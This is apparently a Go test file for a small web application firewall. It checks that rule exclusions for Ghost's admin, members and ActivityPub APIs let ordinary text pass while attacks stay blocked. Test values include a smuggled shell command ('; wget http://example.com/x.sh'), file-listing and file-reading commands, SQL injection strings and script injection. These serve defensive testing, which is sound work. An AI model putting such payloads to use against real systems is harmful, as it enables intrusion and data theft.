package coreruleset_test import ( "encoding/json" "net/http" "net/url" "slices" "strings" "testing" "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) // ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. const ghostThreshold = 5 // Paths of Ghost's Admin API, Content API and members' API. const ( ghostPosts = "/ghost/api/admin/posts/" ghostPost = ghostPosts + "6af458a5d281b00001a59969/" ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/" ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/" ghostMembers = "/ghost/api/admin/members/" ghostSettings = "/ghost/api/admin/settings/" ghostSession = "/ghost/api/admin/session/" ghostSetup = "/ghost/api/admin/authentication/setup/" ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/" ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/" ghostMember = "/members/api/member/" ghostMagicLink = "/members/api/send-magic-link/" ghostInvites = "/ghost/api/admin/invites/" ghostInvitation = "/ghost/api/admin/authentication/invitation/" ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/" ghostOffers = "/ghost/api/admin/offers/" ghostRecommended = "/ghost/api/admin/recommendations/" ghostTags = "/ghost/api/admin/tags/" ghostImport = "/ghost/api/admin/members/upload/" ghostComments = "/members/api/comments/" ghostNote = "/.ghost/activitypub/v1/actions/note" ghostAccount = "/.ghost/activitypub/v1/account" ghostAliases = "/.ghost/activitypub/v1/aliases" ghostMigration = "/.ghost/activitypub/v1/migration" ghostDomain = "/.ghost/activitypub/v1/domain" ) func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) { t.Parallel() crs := servingApps(t, map[string][]string{ giteaHost: {gitea}, otherHost: {"ghost"}, }) // A filter, which only Ghost's fixes let through. filter := get(ghostPosts + "?filter=tag:powershell") wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{}) wantResult(t, crs, withHost(filter, giteaHost), matched(932120)) } // ghostField is a field of a JSON body Ghost receives: the request that // sends it, and its body, with VALUE where the field's value goes. type ghostField struct{ method, target, body string } // with returns f's body holding value, escaped for JSON. func (f ghostField) with(t *testing.T, value string) string { t.Helper() quoted, err := json.Marshal(value) if err != nil { t.Fatal(err) } return strings.ReplaceAll( f.body, "VALUE", string(quoted[1:len(quoted)-1]), ) } // ghostTextFields hold plain text and skip the eight rules that 900353 lists. // //nolint:gochecknoglobals // a constant cannot be a list var ghostTextFields = []ghostField{ {http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`}, { http.MethodPut, ghostPost, `{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`, }, {http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`}, { http.MethodPost, "/ghost/api/admin/pages/", `{"pages":[{"slug":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"name":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"description":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/labels/", `{"labels":[{"name":"VALUE"}]}`, }, {http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`}, { http.MethodPost, ghostMembers, `{"members":[{"labels":[{"name":"VALUE"}]}]}`, }, {http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`}, { http.MethodPut, ghostNewsletter, `{"newsletters":[{"sender_name":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/snippets/", `{"snippets":[{"name":"VALUE"}]}`, }, {http.MethodPut, ghostMember, ghostMemberName}, // A staff user's profile, the first staff user, an invitation accepted. {http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`}, {http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`}, {http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`}, {http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`}, {http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`}, {http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`}, {http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`}, {http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`}, // Tiers, offers, recommendations, integrations and webhooks. {http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`}, {http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`}, { http.MethodPut, ghostTiers, `{"tiers":[{"benefits":["Tips","VALUE"]}]}`, }, {http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`}, {http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`}, {http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`}, { http.MethodPost, ghostOffers, `{"offers":[{"display_description":"VALUE"}]}`, }, { http.MethodPost, ghostRecommended, `{"recommendations":[{"title":"VALUE"}]}`, }, { http.MethodPost, ghostRecommended, `{"recommendations":[{"description":"VALUE"}]}`, }, { http.MethodPost, ghostRecommended, `{"recommendations":[{"excerpt":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/integrations/", `{"integrations":[{"name":"VALUE","description":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/webhooks/", `{"webhooks":[{"event":"post.published","name":"VALUE"}]}`, }, // A feature image's alt text and caption. {http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`}, { http.MethodPut, ghostPost, `{"posts":[{"feature_image_caption":` + `"Photo: VALUE"}]}`, }, {http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`}, // A member's comment, written and edited. ghostNewComment, { http.MethodPut, ghostComments + "6af5426ae56ecb0001938894/", `{"comments":[{"id":"6af5426ae56ecb0001938894","html":"

VALUE

"}]}`, }, // ActivityPub: a note, a reply, the description of their image, and the // account. {http.MethodPost, ghostNote, `{"content":"VALUE"}`}, {http.MethodPost, ghostReply, `{"content":"VALUE"}`}, {http.MethodPost, ghostNote, ghostNoteImage}, {http.MethodPost, ghostReply, ghostNoteImage}, {http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`}, {http.MethodPut, ghostAccount, `{"username":"VALUE"}`}, {http.MethodPut, ghostAccount, `{"bio":"VALUE"}`}, } // ghostNewComment is a member's comment on a post, with VALUE in a paragraph. // //nolint:gochecknoglobals // a constant cannot be a struct var ghostNewComment = ghostField{ http.MethodPost, ghostComments, `{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"

VALUE

"}]}`, } // ghostComment is the HTML of an ordinary comment, with a link. const ghostComment = `Try python3, then ` + `ls -la.` // ghostNoteImage is the body of a note or a reply in ActivityPub with an // image, with VALUE as the image's description. const ghostNoteImage = `{"content":"My desk","image":{"url":` + `"https://example.com/content/images/desk.png","altText":"VALUE"}}` // ghostReply is the path that posts a reply to a note in ActivityPub. const ghostReply = "/.ghost/activitypub/v1/actions/reply/" + "https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" + "0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d" // ghostMemberName is the body that saves a member's name at /members/api/. const ghostMemberName = `{"name":"VALUE"}` // ghostAddressFields hold a member's or a staff user's email address and skip // 930120, 932120 and 932260. // //nolint:gochecknoglobals // a constant cannot be a list var ghostAddressFields = []ghostField{ { http.MethodPost, ghostMagicLink, `{"email":"VALUE","emailType":"signup"}`, }, {http.MethodPut, ghostMember, `{"email":"VALUE"}`}, {http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`}, {http.MethodPost, ghostSession, `{"username":"VALUE"}`}, {http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`}, {http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`}, {http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`}, { http.MethodPost, ghostPasswordReset, `{"password_reset":[{"email":"VALUE"}]}`, }, {http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`}, } // ghostHandleFields hold an account's handle in ActivityPub, which the admin // sends as an @ followed by an address, with no spaces. They skip 930120 and // 932120. // //nolint:gochecknoglobals // a constant cannot be a list var ghostHandleFields = []ghostField{ {http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`}, {http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`}, } // ghostDomainFields hold the domain of the site's handle in ActivityPub and // skip 930120, 932120 and 932260. // //nolint:gochecknoglobals // a constant cannot be a list var ghostDomainFields = []ghostField{ {http.MethodPut, ghostDomain, `{"domain":"VALUE"}`}, {http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`}, } // ghostURLFields hold a tag's canonical URL, or the address of an account // removed from those that move here in ActivityPub. They skip 930120 and // 932120, as url does. // //nolint:gochecknoglobals // a constant cannot be a list var ghostURLFields = []ghostField{ {http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`}, { http.MethodPut, ghostTags + "6af45d4ed281b00001a599a8/", `{"tags":[{"canonical_url":"VALUE"}]}`, }, {http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`}, } // ghostPostFields hold a post or a page, skip the rules of 900355, and take a // ` // ghostWidgetCard is ghostWidget as the editor saves it in lexical. const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` + `"html":"
"}],` + `"direction":null,"format":"","indent":0,"type":"root","version":1}}` // ghostAnalytics is code injection that loads analytics. const ghostAnalytics = `` func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) { t.Parallel() // An HTML card in a post, as the editor saves it, and as integrations // send it. wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false) for _, f := range ghostPostFields { wantGhostField(t, f, ghostWidget, false) } // Site code injection, saved in settings, and a post's, a page's or a // tag's own. for _, f := range ghostCodeFields { wantGhostField(t, f, ghostAnalytics, false) } } // ghostAttacks are an SQL injection and a path traversal, not escaped. // //nolint:gochecknoglobals // a constant cannot be a list var ghostAttacks = []string{injection, pathTraversal} // commandAfterASeparator is a shell command after a ";", not escaped. const commandAfterASeparator = "; wget http://example.com/x.sh" func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) { t.Parallel() for _, attack := range ghostAttacks { for _, f := range slices.Concat(ghostTextFields, ghostAddressFields, ghostHandleFields, ghostDomainFields, ghostURLFields, ghostArticleFields, ghostCodeFields) { wantGhostField(t, f, attack, true) } for _, target := range ghostQueryFields { wantGhostQuery(t, target+url.QueryEscape(attack), true) } } // A script injection stays refused in every field that does not take a // `, true) } // An address and the domain keep 932250, which refuses a listing of // files. A handle keeps it too, but its @ comes before any command. for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) { wantGhostField(t, f, "ls -la /root", true) } } func TestGhostTwoCommandNamesPass(t *testing.T) { t.Parallel() // The site's title, saved through settings. siteTitle := ghostField{ http.MethodPut, ghostSettings, `{"settings":[{"key":"title","value":"VALUE"}]}`, } wantGhostField(t, siteTitle, ghostCommandNames, false) // Values that join two command names, as a person types them. for _, typed := range []string{ ghostCommandNames, "python3 & powershell", "powershell & ls -la", "ls -la & python3", } { for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) { wantGhostField(t, f, typed, false) } wantGhostImportLabel(t, ghostImport, typed, false) for _, target := range slices.Concat( ghostAnalyticsFilters, []string{ghostAccountSearch}, ) { wantGhostQuery(t, target+url.QueryEscape(typed), false) } // filter as the admin's post picker writes it, after a person types // such a title. filter := "status:published+title:~'" + typed + "'" wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false) } } // TestGhostOrdinaryQueriesPass checks the query fields of the analytics // pages, email_segment, the search of ActivityPub and the check of an // invitation. func TestGhostOrdinaryQueriesPass(t *testing.T) { t.Parallel() for _, encoded := range hardValues { value, _ := url.QueryUnescape(encoded) text := url.QueryEscape("Notes on " + value + " & tidy files") for _, target := range ghostAnalyticsFilters { wantGhostQuery(t, target+encoded, false) } wantGhostQuery(t, ghostCampaign+text, false) wantGhostQuery(t, ghostAccountSearch+text, false) } // pathname, the page the analytics show: a post and two tag pages. for _, path := range []string{ "/tag/proc/", "/python3-and-powershell/", "/tag/python3/", } { wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false) } wantGhostQuery( t, ghostCampaign+url.QueryEscape(ghostCommandNames), false, ) wantGhostQuery( t, ghostAccountSearch+"%40powershell%40example.com", false, ) for _, segment := range []string{ "label:powershell-users", "label:python3", "label:ls-la", "label:htaccess", "status:free,tier:powershell-club", } { wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false) } for _, address := range ghostAddresses { wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false) } } // wantGhostImportLabel checks that the Core Rule Set, reading bodies, // refuses label, sent as labels in a CSV import to target, or lets it // through. func wantGhostImportLabel( t *testing.T, target, label string, refused bool, ) { t.Helper() r := request{http.MethodPost, target, []string{multipart}} body := field("labels", label) + field("mapping[email]", "email") + end got, _ := inspectBody(t, readingBodies(t), r, body) if refused && got.Score < ghostThreshold { t.Errorf("labels=%q at %s let through: %+v", label, target, got) } if !refused && got.Score >= ghostThreshold { t.Errorf("labels=%q at %s refused: %+v", label, target, got) } } func TestGhostImportLabelsPass(t *testing.T) { t.Parallel() for _, encoded := range hardValues { value, _ := url.QueryUnescape(encoded) wantGhostImportLabel(t, ghostImport, value+" import", false) } wantGhostImportLabel(t, ghostImport, ghostCommandNames, false) for _, attack := range ghostAttacks { wantGhostImportLabel(t, ghostImport, attack, true) } // labels keeps its rules on other paths, and when the query has a field // of the same name. wantGhostImportLabel(t, ghostMembers, "python3 import", true) wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true) } func TestGhostExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := readingBodies(t) // The fields keep their rules off Ghost's paths, on Ghost's paths that // take no such field, and when the query has a field of the same name. const ( title = `{"posts":[{"title":"python3"}]}` article = `{"posts":[{"lexical":"

cat /etc/hosts

"}]}` name = `{"name":"python3"}` email = `{"email":"python3.dev@example.com"}` username = `{"username":"python3.dev@example.com"}` setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}` passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}` userEmail = `{"users":[{"email":"python3.dev@example.com"}]}` ) for _, refused := range []struct{ target, body string }{ {"/api/posts/", title}, {"/ghost/api/content/posts/", title}, {ghostMember, title}, {ghostPosts + "?json.posts.0.title=x", title}, {ghostPosts, `{"posts":[{"visibility":"python3"}]}`}, {ghostPosts, name}, {ghostMember + "?json.name=x", name}, {"/api/posts/", article}, {"/ghost/api/admin/users/", `{"users":[{"bio":""}]}`}, {ghostPosts + "?json.posts.0.lexical=x", article}, {"/api/settings/", `{"settings":[{"value":""}]}`}, { ghostSettings + "?json.settings.0.value=x", `{"settings":[{"value":""}]}`, }, {"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`}, {ghostPosts, email}, {ghostMembers, email}, {ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`}, { ghostMembers + "?json.members.0.email=x", `{"members":[{"email":"python3.dev@example.com"}]}`, }, {ghostMember + "?json.email=x", email}, {ghostPosts, username}, {ghostSession + "?json.username=x", username}, {ghostPosts, setupEmail}, {ghostSetup + "?json.setup.0.email=x", setupEmail}, {ghostPosts, passwordResetEmail}, {ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail}, {ghostPosts, userEmail}, {ghostUser + "?json.users.0.email=x", userEmail}, {ghostSession, `{"username":"x","pass":"' OR '1'='1"}`}, {"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`}, {"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`}, { "/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x", `{"users":[{"profile_image":null}]}`, }, } { r := request{http.MethodPut, refused.target, []string{jsonBody}} got, _ := inspectBody(t, crs, r, refused.body) if got.Score < ghostThreshold { t.Errorf( "PUT %s %s let through: %+v", refused.target, refused.body, got, ) } } } func TestGhostScriptExclusionIsNarrow(t *testing.T) { t.Parallel() crs := readingBodies(t) // A ` scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}` scriptInSettings = `{"settings":[{"value":"` + script + `"}]}` scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}` ) for _, refused := range []struct{ target, body string }{ {"/ghost/api/content/posts/", scriptInPost}, {ghostPosts + "?json.posts.0.lexical=x", scriptInPost}, {ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`}, {"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`}, {"/api/settings/", scriptInSettings}, {ghostSettings + "?json.settings.0.value=x", scriptInSettings}, {ghostPosts, scriptInTag}, {ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag}, } { r := request{http.MethodPut, refused.target, []string{jsonBody}} got, _ := inspectBody(t, crs, r, refused.body) if got.Score < ghostThreshold || !slices.Contains(got.RuleIDs, 941110) { t.Errorf( "PUT %s %s: %+v, want 941110 among them", refused.target, refused.body, got, ) } } } func TestGhostQueryExclusionsAreNarrow(t *testing.T) { t.Parallel() // The query fields keep their rules off Ghost's paths, and in other // query fields there. search skips its rules only on the Admin API, and // url only on the editor's lookup of embeds. pathname, email_segment, // query and email skip theirs only on their own paths. for _, target := range []string{ "/api/posts/?filter=powershell", "/ghost/posts/?filter=powershell", "/ghost/api/admin/posts/?order=powershell", "/ghost/api/content/posts/?search=python3", "/members/api/member/?search=python3", "/ghost/api/admin/posts/?url=powershell", "/oembed/?url=powershell", "/ghost/api/admin/posts/?pathname=%2Fpowershell%2F", "/ghost/api/admin/stats/top-content/?order=powershell", "/ghost/api/admin/pages/?email_segment=label%3Apowershell-users", "/ghost/api/admin/posts/?query=python3", "/.ghost/activitypub/v1/actions/note?query=python3", "/ghost/api/admin/invites/?email=python3.dev%40example.com", } { wantGhostQuery(t, target, true) } } // TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body // fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks // the others: each keeps its rules on another path, and when the query has // a field of the same name. func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) { t.Parallel() const ( bio = `{"users":[{"bio":"python3"}]}` comment = `{"comments":[{"html":"

Notes on .htaccess

"}]}` content = `{"content":"python3"}` altText = `{"image":{"altText":"python3"}}` accountBio = `{"bio":"python3"}` invited = `{"invites":[{"email":"python3.dev@example.com"}]}` accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}` sourceHandle = `{"sourceHandle":"@powershell@example.com"}` actorURI = `{"actorUri":"https://example.com/users/powershell"}` targetHandle = `{"targetHandle":"@powershell@example.com"}` domain = `{"domain":"python3.example.com"}` tagCode = `{"tags":[{"codeinjection_head":""}]}` tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}` ) for _, refused := range []struct{ target, body string }{ {"/api/users/1/", bio}, {ghostMember, bio}, {ghostUser + "?json.users.0.bio=x", bio}, {ghostPosts, comment}, {ghostComments + "?json.comments.0.html=x", comment}, {ghostAccount, content}, {ghostNote + "?json.content=x", content}, {ghostAccount, altText}, {ghostNote + "?json.image.altText=x", altText}, {ghostNote, accountBio}, {ghostAccount + "?json.bio=x", accountBio}, {ghostPosts, invited}, {ghostInvites + "?json.invites.0.email=x", invited}, {ghostInvites, accepted}, {ghostInvitation + "?json.invitation.0.email=x", accepted}, {ghostMigration, sourceHandle}, {ghostAliases + "?json.sourceHandle=x", sourceHandle}, {ghostMigration, actorURI}, {ghostAliases + "?json.actorUri=x", actorURI}, {ghostAliases, targetHandle}, {ghostMigration + "?json.targetHandle=x", targetHandle}, {ghostAccount, domain}, {ghostDomain + "?json.domain=x", domain}, {ghostPosts, tagCode}, {ghostTags + "?json.tags.0.codeinjection_head=x", tagCode}, {ghostPosts, tagURL}, {ghostTags + "?json.tags.0.canonical_url=x", tagURL}, } { r := request{http.MethodPut, refused.target, []string{jsonBody}} got, _ := inspectBody(t, readingBodies(t), r, refused.body) if got.Score < ghostThreshold { t.Errorf("PUT %s %s let through: %+v", refused.target, refused.body, got) } } } func TestGhostPasswordsPass(t *testing.T) { t.Parallel() // Ghost's password fields, each sent to the path that takes it. A dot // nests a field, as Ghost nests it in an array. fields := []passwordFields{ {ghostSession, jsonBody, []string{passwordKey}}, { "/ghost/api/admin/authentication/setup/", jsonBody, []string{"setup.0.password"}, }, { "/ghost/api/admin/authentication/invitation/", jsonBody, []string{"invitation.0.password"}, }, { "/ghost/api/admin/authentication/password_reset/", jsonBody, []string{ "password_reset.0.newPassword", "password_reset.0.ne2Password", }, }, { "/ghost/api/admin/users/password/", jsonBody, []string{ "password.0.oldPassword", "password.0.newPassword", "password.0.ne2Password", }, }, } wantPasswordFieldsPass(t, fields) }